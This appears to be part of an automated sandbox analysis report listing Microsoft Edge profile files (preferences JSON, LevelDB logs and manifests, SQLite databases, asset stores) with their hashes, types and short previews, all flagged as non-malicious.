Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\5d511f76-33da-4b0a-9688-cb2b164b9db0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561453330050001
Encrypted:	false
SSDEEP:	768:1c4L5g7pLGLPhzWP/Xf5r8F1+UoAYDCx9Tuqh0VfUC9xbog/OVcw1+/ZCrwgMPWA:1c4L5scPhzWP/Xf5ru1jadw1SZngMPTN
MD5:	2793AFB1272CEFDD9B90861DB96692A5
SHA1:	9FEE8108A85FFAFF2132C9701E8A5E29F2FB14EA
SHA-256:	C9914DA3630BF8DC492784F56566DC5099D6071B45E85250BEDDCE793CDCFAC0
SHA-512:	09D8D12257FDE05A0607CC5945E1031D315625A6D2D632ADF7265C099439DEB95950D05651735AF7354A95ACEDC5D02EF5CC15466E2414EC5953177CAAD29674
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13378475364637223","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13378475364637223","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\65e66e96-cc07-49d1-9907-d963a3e06820.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13101
Entropy (8bit):	5.280289167542743
Encrypted:	false
SSDEEP:	384:st7PGKSuVs/OcfhQYcVabGIQx6Wf0laTYAQ:s9Oxuizf9ZbGXxT2aTYAQ
MD5:	1CB5360EBCBA45D477FCC0FFCF47F929
SHA1:	9C02ADA02C49EAA4D7DEE66767581EA3EDB6BDDB
SHA-256:	7073E9465CDE03FEBDAC3B9AAFAC4F495A4D62C5E40BA1D2460961BB94A9AE75
SHA-512:	557F5F190389BA4F5EDB4EFF50F2D8A37399D6F685EF60D2793FEE8CCEAC3BC784B16B809DC0BCEE8A0062AC9331C0FDB645A62DC849490318B853848AF95CDF
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13378475365308676","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\9340655e-a8c8-4729-b3af-537c11eac15a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40503
Entropy (8bit):	5.561497337271249
Encrypted:	false
SSDEEP:	768:1c4L5g7pLGLPhzWP/Xfur8F1+UoAYDCx9Tuqh0VfUC9xbog/OVcw1+/ZCrwgMUWL:1c4L5scPhzWP/Xfuru1jadw1SZngMUTi
MD5:	24C097D57F10DC2BEF38555DF1D59C30
SHA1:	55AFB6D32F80D58D27083AEB4D8DF595E7D02CF5
SHA-256:	93E3ECD23C63D42D8B3E8B0189E3D633657D452BB9980D037760546B66A9ADA7
SHA-512:	E9A71657C837F3037458F1D88658A4FAEE5C537602F78B2134909A66CB4C494469A230B7C15707CD248AC222DB4D64F7ABB2F4158957F0CC1577630BF857AE6E
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13378475364637223","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13378475364637223","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.223813567009491
Encrypted:	false
SSDEEP:	6:7xLCXim81923oH+Tcwtp3hBtB2KLlpxp2MM+q2P923oH+Tcwtp3hBWsIFUv:70XFxYebp3dFLTFM+v4Yebp3eFUv
MD5:	D3F3C3E32A17C243AD422AEA7D6B2EC8
SHA1:	6DFE5928EF98618DA39AF10F6D9E9469CF474F52
SHA-256:	69491871DB86D4768B94C09CBD7BEFF0422DFC8813B8AC0288954B7584A7EAC7
SHA-512:	5D8AE7FC9981436519DF47A7327D251F73348FC80CE7631A8376A8ABCB5C4B202F2E9FF9495738718AB7F75B5CAA9C17579933EEEC3D5B95C3F31E52EE40FB61
Malicious:	false
Preview:	2024/12/12-06:09:32.134 208c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/12/12-06:09:32.214 208c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222871598956739
Encrypted:	false
SSDEEP:	24576:v+/PN8FefI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:v+/PN8kfx2mjF
MD5:	EF74F188D554D0F143CF8C5E5E1A86DC
SHA1:	FBE68A2F6BE893AC3DED7899724F8A5A0B1D0DAC
SHA-256:	9113EED2222DE79B174D02A76C47A052DFE667948AB3CD5EBC191AB5E9EF65DF
SHA-512:	80AD5119A8CFBBF15C2A5EEA3AD55B6CCF0981333E6EFAFE36CAC57B2BEBFD79DDC8B50D365CF80EFF6B2591AD0C48BBE872744970714FDE471BED477139E030
Malicious:	false
Preview:	...m.................DB_VERSION.1.l.i.................QUERY_TIMESTAMP:arbitration_priority_list4...13340900604462938.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.116403234386733
Encrypted:	false
SSDEEP:	6:7xyQrfq2P923oH+Tcwt9Eh1tIFUt8OxyEZZmw+OxLUvzkwO923oH+Tcwt9Eh15LJ:7lrfv4Yeb9Eh16FUt8OzZ/+O+z5LYebY
MD5:	1AA72BA3721672B02AD97B9E6C0B1B48
SHA1:	870E16DB8156E0BD29F8940BBE757A514FFF7E7A
SHA-256:	9FAB534A18C7C7FE566F16FAF09AA831D1A407CC5364BC2DF628FAA7C14C9C7B
SHA-512:	00F6981D295CD7D9523AD05EA605C442804D7311B2359F2C94C7E655E772238022E8EF1F092A45DB1DE4EEEBCF917EB58768C19CD7C6A4CB7741CB0D2C5D5196
Malicious:	false
Preview:	2024/12/12-06:09:31.754 2340 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/12/12-06:09:31.762 2340 Recovering log #3.2024/12/12-06:09:32.162 2340 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.116403234386733
Encrypted:	false
SSDEEP:	6:7xyQrfq2P923oH+Tcwt9Eh1tIFUt8OxyEZZmw+OxLUvzkwO923oH+Tcwt9Eh15LJ:7lrfv4Yeb9Eh16FUt8OzZ/+O+z5LYebY
MD5:	1AA72BA3721672B02AD97B9E6C0B1B48
SHA1:	870E16DB8156E0BD29F8940BBE757A514FFF7E7A
SHA-256:	9FAB534A18C7C7FE566F16FAF09AA831D1A407CC5364BC2DF628FAA7C14C9C7B
SHA-512:	00F6981D295CD7D9523AD05EA605C442804D7311B2359F2C94C7E655E772238022E8EF1F092A45DB1DE4EEEBCF917EB58768C19CD7C6A4CB7741CB0D2C5D5196
Malicious:	false
Preview:	2024/12/12-06:09:31.754 2340 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/12/12-06:09:31.762 2340 Recovering log #3.2024/12/12-06:09:32.162 2340 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46537310826935835
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBb:TouQq3qh7z3bY2LNW9WMcUvBb
MD5:	AFA2CF9B84EB36D157F403E57C89CA4A
SHA1:	824018779470FFAB046D4294A8B94E00D9948C16
SHA-256:	131E52FC283507D27D8CDF82C3B14A98F7AE0F7E21E70DB77070BE0B7F240DFA
SHA-512:	AEA0E215FFBFA17E62B4ACEE98E0FFC34109E78381CE8661317E614E910BC9A060D6DB0DBBD4131699F4C304D886208D86B70880412948F89570E1FE37D584E6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.1755265269145605
Encrypted:	false
SSDEEP:	6:7x/WN9+q2P923oH+TcwtnG2tMsIFUt8Ox9JZmw+Ox99VkwO923oH+TcwtnG2tMsd:7hS+v4Yebn9GFUt8OR/+OlV5LYebn95J
MD5:	D3BB86EE4BF2D6ACDC04C91B5A1A239C
SHA1:	59A3463FB61101BB8066CF40DC781C5C2E3D5305
SHA-256:	02E02A461FEB53344A0B2A4E94E566C44C9C9A3E278BC4B20051015B96403E00
SHA-512:	195D83E6993967DE6FD642783A0B73F9693DBBBD3F35B42AED2258EF5968B4CF38D0A907EC2B7A49C2D3CC3E322C1FABB021D208D42254557CECEF6BC65E1798
Malicious:	false
Preview:	2024/12/12-06:09:24.655 1e2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/12/12-06:09:24.656 1e2c Recovering log #3.2024/12/12-06:09:24.656 1e2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.1755265269145605
Encrypted:	false
SSDEEP:	6:7x/WN9+q2P923oH+TcwtnG2tMsIFUt8Ox9JZmw+Ox99VkwO923oH+TcwtnG2tMsd:7hS+v4Yebn9GFUt8OR/+OlV5LYebn95J
MD5:	D3BB86EE4BF2D6ACDC04C91B5A1A239C
SHA1:	59A3463FB61101BB8066CF40DC781C5C2E3D5305
SHA-256:	02E02A461FEB53344A0B2A4E94E566C44C9C9A3E278BC4B20051015B96403E00
SHA-512:	195D83E6993967DE6FD642783A0B73F9693DBBBD3F35B42AED2258EF5968B4CF38D0A907EC2B7A49C2D3CC3E322C1FABB021D208D42254557CECEF6BC65E1798
Malicious:	false
Preview:	2024/12/12-06:09:24.655 1e2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/12/12-06:09:24.656 1e2c Recovering log #3.2024/12/12-06:09:24.656 1e2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6126894813836492
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jU4vpZh74mL:TO8D4jJ/6Up+Q47H
MD5:	080E22F6D102BF27E763B12D1E710D79
SHA1:	AEC4D6B08A7C72044E957EA90DF4EE3E26FD72DD
SHA-256:	FBBA59F7AA97A1235E8D57002F7AEE14C6FF73909ED17C14231F02ED4BFE7374
SHA-512:	59B2C1FAF824EB813D9E6D2B377E16C2E1607F5D425860FDB607CD7D8285E97166FBE8615C7DA84651E535930C796A55EC572FC074B3604FFF26ECEF430164BF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.3540989623867885
Encrypted:	false
SSDEEP:	6144:zA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:zFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	5ABC037ADD112E344D6E6571DB855D85
SHA1:	C06D109A115D561AD6442F958BE930155AE08D42
SHA-256:	D562A7DC84EEC8A3A3972646CA7643AB802BFF7C925ED64337B4DF76951A40EE
SHA-512:	4F736F5248A395183BEFD2D3546793DE75C2339AB06EF58125CA4DDBD1A42CD7AF1E8DD44FD412165DEBC294DCC0545758ECB89CDC510DA1279D45CB55838F29
Malicious:	false
Preview:	...m.................DB_VERSION.1..opq...............&QUERY_TIMESTAMP:domains_config_gz2...13378475375801947..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.2017746643405385
Encrypted:	false
SSDEEP:	6:7xy50RM1923oH+Tcwtk2WwnvB2KLlpxyL4q2P923oH+Tcwtk2WwnvIFUv:7LhYebkxwnvFLTgMv4YebkxwnQFUv
MD5:	FC2E9DC0CCA005CCA651875850BECC80
SHA1:	9CA1CE7FFD2F55AA470142AB74422C78FD57DCA1
SHA-256:	E70602AB9D4210BA41A23B73E353803A5F58CDEC1EF5606461A9D9F9142E4E61
SHA-512:	84AB77DC0F8FC23AE8182A731355FA719E66244C23518F48B37810825552129C44A7B0163CC5F7FA2B48A3926D0E76E41BE0B0CCC47B4C5A5A502B624AF44DD4
Malicious:	false
Preview:	2024/12/12-06:09:31.782 2354 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/12/12-06:09:31.834 2354 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324612752023836
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RP:C1gAg1zfvX
MD5:	AB5A745D4205B9DA8DEABE34D134B9D5
SHA1:	25B82C73E5FF53101AE3B9B50BD6BCF3500E7F20
SHA-256:	50EEAFFBF4A7E8C4E8D27059DF636624D1F9CC2B451A7590B0400DA4CB5A1E58
SHA-512:	F12669D7801DB34E12588AB850009C52E91144B3FE59E920BD7CF4CCE18F616E198576D4639334A86305BA0AA9933DAFA57AE73C3F702C7089A0FD041DAA68F5
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628